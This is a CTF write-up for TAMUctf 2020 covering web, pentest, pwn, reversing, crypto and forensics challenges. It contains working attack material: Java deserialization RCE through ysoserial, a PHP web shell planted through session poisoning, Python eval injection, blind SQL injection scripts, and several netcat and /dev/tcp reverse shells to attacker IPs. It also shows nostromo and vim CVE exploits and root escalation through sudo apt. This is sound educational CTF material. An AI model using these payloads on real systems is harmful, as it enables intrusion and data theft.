TAMUctf 2020

Categories index
Web - Misc - Rev - Crypto - Pentest - Pwn

Web

Too many credits 1

Okay, fine, there’s a lot of credit systems. We had to put that guy on break; seriously concerned about that dude. Anywho. We’ve made an actually secure one now, with Java, not dirty JS this time. Give it a whack? If you get two thousand million credits again, well, we’ll just have to shut this program down.

The page shows us a counter of credits and lets us increment it by one clicking on a button.

Counter state is saved in a cookie named counter=H4sIAAA.../.../...A==.

The first fours characters of every cookie, H4sI, points to gzip compressed data.

Decompressing the cookie gets access to a plain text serialization of the Java Class.

Only need to modify the value and compress it back.

import gzip
import base64
import zlib

gzip.decompress(base64.b64decode("H4sIAAAAAAAAAFvzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMEAABwAU254bUgAAAA=="))
# b'\xac\xed\x00\x05sr\x00-com.credits.credits.credits.model.CreditCount2\t\xdb\x12\x14\t$G\x02\x00\x01J\x00\x05valuexp\x00\x00\x00\x00\x00\x00\x00\x08'

moreCredits = b'\xac\xed\x00\x05sr\x00-com.credits.credits.credits.model.CreditCount2\t\xdb\x12\x14\t$G\x02\x00\x01J\x00\x05valuexp\x00\x00\x00\x00\xFF\xFF\xFF\xFF'
base64.b64encode(gzip.compress(moreCredits))
# b'H4sIAKpBdl4C/1vzloG1uIhBNzk/Vy+5KDUls6QYg87NT0nN0XMG85zzS/NKjDhvC4lwqrgzMTB6MbCWJeaUplYUMADBfyAAAMVz/stSAAAA'

Changing the cookie in the browser, the counter shows more that 2000M credits and the flag.

🏁 gigem{l0rdy_th15_1s_mAny_cr3d1ts}

Too many credits 2

Okay, fine, there’s a lot of credit systems. We had to put that guy on break; seriously concerned about that dude. Anywho. We’ve made an actually secure one now, with Java, not dirty JS this time. Give it a whack? If you get two thousand million credits again, well, we’ll just have to shut this program down.

As the previous credits releated challenge, we are presented a simple webpage with a counter and a button that, when clicked, increments our credit bucket. Setting the credit counter to 2kkk manually is not the solution.. not this time. As we see a serialized java class as the cookie that controls our credit count, we can suppose this class is deserialized remotely using some insecure methods. As a first step, as always, lets try to break it and hope we can retrieve some information regarding the framework used. If we try to modify the cookie replacing some chars with random data, the server obviously fails deserializing the class and gives us the following error. toomanycds Hmm, whitelabel error ? Lets search for it. toomanycds Perfect, Java Spring Boot. If you’re crafty enough you can recognize spring boot icon in browser’s tab title. Lets search for deserialization vulns for this framework. As we searched, we stumbled upon this damn cool tool ysoserial. This tool exploits unsafe unserialization to create POP gadget chains that can lead to RCE on a vulnerable server. After cloning and building it, we can try out some payloads and see how the server responds. This tools supports a lot of vulnerable modules.

[...]
Myfaces1            @mbechler
Myfaces2            @mbechler
ROME                @mbechler                   rome:1.0
Spring1             @frohoff                    spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2             @mbechler                   spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS              @gebl
Wicket1             @jacob-baines               wicket-util:6.23.0, slf4j-api:1.6.4
[...]

As we cannot enumerate the modules on the server, lets try directly with Spring1. The syntax for the payload generator is:

java -jar ysoserial.jar Spring1 "OUT_COMMAND"

Lets try to execute a nslookup and see if the requests pass:

curl --cookie "counter=$(ysoserial Spring1 'nslookup outserver.com' | gzip | base64 -w 0)" "http://172.17.0.2:8080"

And surprisingly we receive a DNS resolution request on our server! Good, now lets try to open a reverse shell:

curl --cookie "counter=$(ysoserial Spring1 'nc 172.17.0.1 4444 -e /bin/bash' | gzip | base64 -w 0)" "http://172.17.0.2:8080"

With us listening on the over side:

nc -nlvp 4444

Et voilà, we have our reverse shell and can cat for the flag situated at /opt/credits-1.0.0-SNAPSHOT/flag.txt

🏁 gigem{da$h_3_1s_A_l1f3seNd}

filestorage

Try out my new file sharing site! http://172.17.0.2

Navigating to http://172.17.0.2/index.php gives as a form asking for a name

nameform

Let’s try and input something like <strong>foo</strong>. It will get us to a sort of uploads list page. Observe that our name is not escaped.

listuploads

If we click on one of the list elements we can get that file’s content.

seeupload

Observe the link that was used to view the page:

http://172.17.0.2/index.php?file=beemovie.txt

Hmm, smells like RFI.

Let’s try something like /index.php?file=../../../../etc/passwd

lfi

It works! Seems like index.php?file=filename does something like:

if ($_GET['file']) {
    $output = file_get_contents($_GET['file']);
    include ($output);
}

This means that we have arbitrary reads. Let’s check if our session files are stored in /tmp/sess_SESSIONID. By trying http://172.17.0.2/index.php?file=../../../../../tmp/sess_imec37rtfcsn9v2p7dd8mqful8 we get our serialized session data.

sessdata

Observe that our name is in bold, which means no sanitization is applied when registering. We can try to use some php code as our name:

<?php system($_GET["cmd"]); ?>

Now if we navigate to /index.php?file=../../../../../tmp/sess_lavn0ra1jqa7sh2nien1fehhh1&cmd=id we get our id command executed.

cmdid

Perfect, let’s read the flag!

  1. Find the flag location:
/index.php?file=../../../../../tmp/sess_lavn0ra1jqa7sh2nien1fehhh1&cmd=find / -name '*flag*' 2>/dev/null
  1. Read the flag at /flag_is_here/flag.txt
/index.php?file=../../../../../../../../tmp/sess_lavn0ra1jqa7sh2nien1fehhh1&cmd=cat ../../../../../flag_is_here/flag.txt

🏁 gigem{535510n_f1l3_p0150n1n6}


mentalmath

My first web app, check it out!

Navigating to the website we find ourselves in front of a sort of math solver. We have some sort of api behind the static webpage. The api points to /api/new_problem and accepts json payloads like :

{
    "problem" : "1+1",
    "answer" : "2"
}

Playing with the payload we can observe that if we pass

{
    "problem" : "1+1 # Random alphanumeric string",
    "answer" : "2"
}

we get no error, as if the # symbol is interpreted as a comment. Digging further we can discover that there is an endpoint to /admin which gives us the classic Django admin login page, which lets us think we are in front of some sort of web application hosted by flask in this case. djangologin

Lets try to break it. Whith a payload like below we get an 500 Server Error. Hmm, seems like the server is naively evaluating our input :

{
    "problem" : "1 + abc",
    "answer" : "2"
}

What happens if we try to read the flag using python code ?

{
    "problem" : "open('flag.txt','r').read()#",
    "answer" : "1",
}
{"correct": true, "problem": "29 * 53"}

We get a correct answer, interesting. Lets ensure we are reading the flag by trying to read a random non existent file

{
    "problem" : "open('flag123.txt','r').read()#",
    "answer" : "1",
}

With this payload the server responds with an 500, as expected. From this point on there are several solutions.

  • You could easily listen on a port with netcat and pipe the flag :
{
    "problem" : "__import__('os').popen('cat flag.txt | nc <attacker-ip> <attacker-port>')",
    "answer" : "1",
}

  • A more complicated solution would be catching a reverse shell using something like :
{
    "problem" : "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);",
    "answer" : "1",
}

  • Or you could like my mosachistic solution which bruteforces each char of the flag and outputs correct only if the character was found. Don’t blame me, I wasn’t aware that you could access the network from within the application :(
#!/bin/python
from time import sleep

import requests
import string

headers = {
    'Connection': 'keep-alive',
    'Accept': '*/*',
    'Origin': 'http://mentalmath.tamuctf.com',
    'X-Requested-With': 'XMLHttpRequest',
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36',
    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
    'Referer': 'http://mentalmath.tamuctf.com/play/',
    'Accept-Language': 'it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7,fr;q=0.6',
}

dic = string.ascii_lowercase + string.ascii_uppercase + string.digits + "!$()-.@[]^_{}"
currentletter = 0
currentdic = 0
result = ""

while 1:
    print("[*] Trying {}{}".format(result, dic[currentdic]))
    data = {
      'problem' : "open('flag.txt','r').read()[{}] == '{}'#".format(currentletter, dic[currentdic]),
      'answer': '1',
    }
    response = requests.post('http://mentalmath.tamuctf.com/ajax/new_problem', headers=headers, data=data, verify=False)
    resp = str(response.content)
    if '"correct": true' in resp:
        print("[*] Found letter : {}".format(dic[currentdic]))
        result = result + dic[currentdic]
        if dic[currentdic] == '}':
            print("[*] Found Flag : {}".format(result))
            break
        currentdic = 0
        currentletter = currentletter + 1
    if '"correct": false' in resp:
        currentdic = currentdic + 1
        if len(dic) == currentdic:
            print("[x] Couldn't crack {}-th character, exiting ...")
            break
    if 'Bad Gateway' in resp:
        print("[x] Bad Gatway, should wait 5 seconds ...")
        sleep(5)

🏁 gigem{1_4m_g0od_47_m4tH3m4aatics_n07_s3cUr1ty_h3h3h3he}

passwordextraction

The owner of this website often reuses passwords. Can you find out the password they are using on this test server?

This challenge welcomes us with a classic login page. Naively trying to login using an SQL injection we succeed! passexlogin Or did we ? passexfail It seems like we need something more creative in order to extract our password. A simple SQLi script written in python will be good enough

#!/bin/python
import requests
import string

headers = {
    'Connection': 'keep-alive',
    'Cache-Control': 'max-age=0',
    'Origin': 'http://passwordextraction.tamuctf.com',
    'Upgrade-Insecure-Requests': '1',
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'Referer': 'http://passwordextraction.tamuctf.com/',
    'Accept-Language': 'it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7,fr;q=0.6',
}

dic = string.ascii_lowercase + string.ascii_uppercase + string.punctuation + string.digits
diclen = len(dic)

found = False
result = ""

for i in range(1, 100):
    found = False
    for char in dic:
        print("[*] Trying {}{}".format(str(result), char))
        data = {
          'username': "admin",
          'password': "' or (SELECT MID(password,{},1) FROM mysql.user LIMIT 3,1)='{}' # ".format(i, char)
        }
        response = requests.post('http://passwordextraction.tamuctf.com/login.php', headers=headers, data=data, verify=False)
        resp = str(response.content)
        if "Invalid login info" not in resp:
            result = result + char
            print("[*] Found char {}".format(char))
            print("[*] Current: {}".format(result))
            found = True
            break

    if not found:
        print("[X] Couldn't find char at position {}".format(i))
        print("[*] Current: {}".format(result))
        exit(1)

Go take a coffe and wait for your flag ;)

PS: Strangely our exploit worked even if logically it should have failed as from seeing the docker configuration after the CTF ended we saw that the flag was in a custom table db.accounts and not in mysql.user. Seeing login.php also gave us no clue as it uses :

$sql = "SELECT * FROM accounts WHERE username='$login_user' AND password='$login_pass'";

passmystery

🏁 gigem{h0peYouScr1ptedTh1s}

Misc

alCapone

[…] he got the disk image of the computer […] Can you help Ness out and find any information to take down the mob boss? (hint: […] he deleted all important data […])

Extract the image from the .xz archive, then simply grep from strings.

xzdec -d WindowsXP.img.xz | strings | grep "gigem{"

🏁 gigem{Ch4Nn3l_1nN3r_3Li0t_N3$$}

blind

nc challenges.tamuctf.com 3424

After connecting to the socket, writing something returns a number. From the numbers (0-OK, 1-ERR, 127-NOT_FOUND) we can guess it executes the command within a shell and retuns the status code.

First, set up a listener nc -lvp 1337.

nc isn’t installed on the server since it returns the status code 127, but we can also open a reverse shell with:

/bin/bash -i > /dev/tcp/<our ip>/1337 0<&1 2>&1

🏁 gigem{r3v3r53_5h3ll5}

Alternative method

In case the reverse shell didn’t work, one could have bruteforced every char using ifs.

from pwn import *
import string

conn = remote('challenges.tamuctf.com', 3424)

fmt = '[ $(head flag.txt -c {}) == "{}" ]'
chars = 6
flag = "gigem{"

while True:
    chars += 1
    for c in string.ascii_lowercase + string.digits + string.ascii_uppercase + '_}{':
        print flag+c
        conn.sendline(str.format(fmt, chars, flag+c))
        status = conn.recvline()

        if "0" in status:
            flag += c
            print flag
            if c == "}":
                exit()
            break

corrupted disk

We’ve recovered this disk image but it seems to be damaged. Can you recover any useful information from it?

Extract all files from recovered_disk.img.

binwalk --dd=".*" recovered_disk.img

There’s one image that has the flag in plain text.

geography

My friend told me that she found something cool on the Internet, but all she sent me was 11000010100011000111111111101110 and 11000001100101000011101111011111. She’s always been a bit cryptic. She told me to “surround with gigem{} that which can be seen from a bird’s eye view”… what?

Convert numbers to IEEE754 32 bits floating point.

(-70.249, -18.529)

The coordinates put in google maps take us to Chile, where in the fields theres a logo of the Coca Cola brand.

🏁 gigem{coca-cola}

instagram

I need a hacker please!!! My photo was going to get thousands of likes, but it was corrupted 😩.

Reading the header at the beginning of the file, we can find the word Exif.

This means the photo is a .jpeg not a .png.

Changing the .png signature with a .jpeg one reveals us the photo with flag.

🏁 gigem{cH4nG3_the_f0rMaTxD}


Rev

angrmanagement

nc rev.tamuctf.com 4322

The binary given does a lot of checks agains the input and if they all evaluate to true, it prints the flag.

Angr can be used to try and evaluate the input using Symbolic Execution.

import angr
import claripy

p = angr.Project('./angrmanagement', auto_load_libs=False)

flag = claripy.BVS('flag', 32*8) # 32 is an initial guess
initial_state = p.factory.entry_state(args=['./angrmanagement'], stdin=flag)

# limits the range of characters to use
for b in flag.chop(8):
    initial_state.add_constraints(claripy.Or(b == 0x0, claripy.And(b >= 0x21, b <= 0x7e)))

sm = p.factory.simulation_manager(initial_state)
destinationAddr = 0x402345 # addr of printf("flag: ...")
sm.explore(find=destinationAddr)

if len(sm.found) > 0:
    s = sm.found[0]
    print("flag: ", s.solver.eval(flag, cast_to=bytes).split(b'\0')[0].decode("ascii"))

🏁 gigem{4n63r_m4n463m3n7}


Crypto

Sigma

10320831141252164475480592397410881183128414021520157116851780189419421991209921942315241625302578269728072902300131153236334834643575368637343782389340044129

This was more of a riddle.

You had to find out that each char was converted to int and added together with the previous.

The result of each increment was then printed without spaces.

i.e. 103 208 311 412 ... = 103 + 105 + 103 + 101 + ... = gige...

🏁 gigem{n3v3r_evv3r_r01l_yer0wn_cryptoo00oo}


Pentest

Listen

Connect to vpn

openvpn --config listen.ovpn

Fire up tcpdump and read the flag send to us with UDP packets

tcpdump -i tap0 -A

🏁 gigem{Raunch05_got_el3ctr0lytes}

My first blog

There’s only one host, and it only has port 80 open.

Browsing an error page shows us that the webserver runs on nostromo 1.9.6 which is vulnerable to RCE [CVE-2019-16278].

The vulnerability can be exploited using the python script form exploit-db or the module exploit/multi/http/nostromo_code_exec in metasploit.

python2 exploit.py 172.30.0.2 80 'nc -e "/bin/sh" 172.30.0.14 12345'

ps aux shows that there’s /tmp/start.sh that’s run by root. It’s used to run nhttpd and cron.

In /etc/crontab there’s a user defined entry

* * * * * root /usr/bin/healthcheck

healthcheck is owned by root but has 777 permission.

Add cat /root/flag.txt > /tmp/flag.txt at the end, et voila!

🏁 gigem{l1m17_y0ur_p3rm15510n5}

Obituary_1

Hey, shoot me over your latest version of the code. I have a simple nc session up, just pass it over when you’re ready. You’re using vim, right? You should use it; it’ll change your life. I basically depend on it for everything these days!

Server has port 4321 open.

Reading challenge description, we can assume that there’s a nc session that pipes into vim.

Searching for vim vulnerabilites, lead us to a pretty version-specific vulnerability CVE-2019-12735

echo ':!nc -e /bin/sh 172.30.0.14 4242||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' | nc -ncvv 172.30.0.2 4321

It was the right one and it successfully popped a shell.

cat /home/mwazowski/flag.txt

🏁 gigem{ca7_1s7_t0_mak3_suRe}

Obituary_2

This is a continue of Obituary_1. Root is now required to read 2nd flag

In the home directory there’s note_to_self.txt which covers the vim vulnerability and reports that apt is set as NOPASSWD in sudoers.

Let’s get a shell using apt Pre-Invoke option to execute commands.

$ sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh
...
$ whoami
root
$ cat /root/flag.txt
gigem{...}

🏁 gigem{y0u_w0u1d_7h1nk_p3opl3_W0u1d_Kn0W_b3773r}


Pwn

Echo as a service

Echo as a service (EaaS) is going to be the newest hot startup! We’ve tapped a big market: Developers who really like SaaS.

This was a basic printf format exploitation

use “%lx %lx %lx %lx …” to extract the content of the stack where there flag was previously read with fgets().

Inverted order of bytes which are read in little endian and convert to string.

🏁 gigem{3asy_f0rmat_vuln1}

Troll

There’s a troll who thinks his challenge won’t be solved until the heat death of the universe.

Export the number generator from the decompiled c code from ghidra and compile it on its own.

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>

void main() {
  srand((uint)time((time_t *)0x0));

  for (int i = 0; i < 100; i++) {
    printf("%d\n", (rand() % 100000 + 1));
  }
}

Execute the nc command at the same time of the extracted number generator.

./num_gen | nc <ip> <port>

🏁 gigem{Y0uve_g0ne_4nD_!D3fe4t3d_th3_tr01L!}